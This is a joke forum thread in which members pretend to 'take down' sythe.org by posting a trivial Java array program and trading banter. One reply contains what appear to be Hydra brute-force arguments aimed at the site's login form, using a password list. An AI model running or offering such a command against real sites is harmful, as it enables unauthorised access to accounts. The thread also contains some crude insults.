• Log in or sign up for an account here: https://www.sythe.org/login

i'm about to take down sythe.org

Joined
May 31, 2009
Sythe Gold
50
Messages
1,437
Location
Illinois, USA
Code:
import java.util.Scanner;

public class InitArray1{
   public static void main(String[]args){
      Scanner input = new Scanner(System.in);
      boolean validNum = false;
      int size = 0, start = 0, inc = 0;
     
         System.out.print("Enter size of array: ");
            size = input.nextInt();
     
      int [] myArray = new int [ size ];
         
         System.out.print("enter start value: ");   
            start = input.nextInt();
     
         System.out.print("enter increment: ");
            inc = input.nextInt(); //building the array
     
      for (int i = 0; i < myArray.length; i++)
      myArray[i]= start + inc * i;
     
      for (int i = 0; i < myArray.length; i++) //print the array
      System.out.println(myArray[i]);
     
      }
   }
 
Feels Bad Man
Asparagus
I'm LAAAAAAAME
<3 n4n0
this makes me want to send u pics of my feet <3
 
Live Streamer
I'm LAAAAAAAME
In Memory of Jon
Paper Trading Competition Participant
Community Participant
Spam Forum Participant
Sythe Awards 2016 Winner
Sythe's 10th Anniversary
PHP Shit Show 2k26
you are so smart jrsmithfan
 
In Memory of Jon
Member of the Quarter Winner
PHP Shit Show 2k26
sythe sythe.org http-form-post "/password:username=^USER^&password=^PASS^:Password incorrect" -l "" -P pass.txt -t 10 -w 30 -o hydra-http-post-attack.txt -s 443
 
Gohan has AIDS
Live Streamer
ok later lol
 
Valentine's Singing Competition Winner
Sythe Awards 2015 Winner
Sythe Awards 2016 Winner
Sythe Awards 2020 Winner
Member of the Month Winner
MushyMuncher
Gohan has AIDS
Extreme Homosex
World War 3
I'm LAAAAAAAME
Discord Verified
Off Topic Participant
Code:
import java.util.Scanner;

public class InitArray1{
   public static void main(String[]args){
      Scanner input = new Scanner(System.in);
      boolean validNum = false;
      int size = 0, start = 0, inc = 0;
    
         System.out.print("Enter size of array: ");
            size = input.nextInt();
    
      int [] myArray = new int [ size ];
        
         System.out.print("enter start value: ");  
            start = input.nextInt();
    
         System.out.print("enter increment: ");
            inc = input.nextInt(); //building the array
    
      for (int i = 0; i < myArray.length; i++)
      myArray[i]= start + inc * i;
    
      for (int i = 0; i < myArray.length; i++) //print the array
      System.out.println(myArray[i]);
    
      }
   }

i put this into my system32 and all i got was 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15?
 
Code:
import java.util.Scanner;

public class InitArray1{
   public static void main(String[]args){
      Scanner input = new Scanner(System.in);
      boolean validNum = false;
      int size = 0, start = 0, inc = 0;
    
         System.out.print("Enter size of array: ");
            size = input.nextInt();
    
      int [] myArray = new int [ size ];
        
         System.out.print("enter start value: ");  
            start = input.nextInt();
    
         System.out.print("enter increment: ");
            inc = input.nextInt(); //building the array
    
      for (int i = 0; i < myArray.length; i++)
      myArray[i]= start + inc * i;
    
      for (int i = 0; i < myArray.length; i++) //print the array
      System.out.println(myArray[i]);
    
      }
   }
Need help?
 
Runescape Gamblingrunescape gambling
Back
Top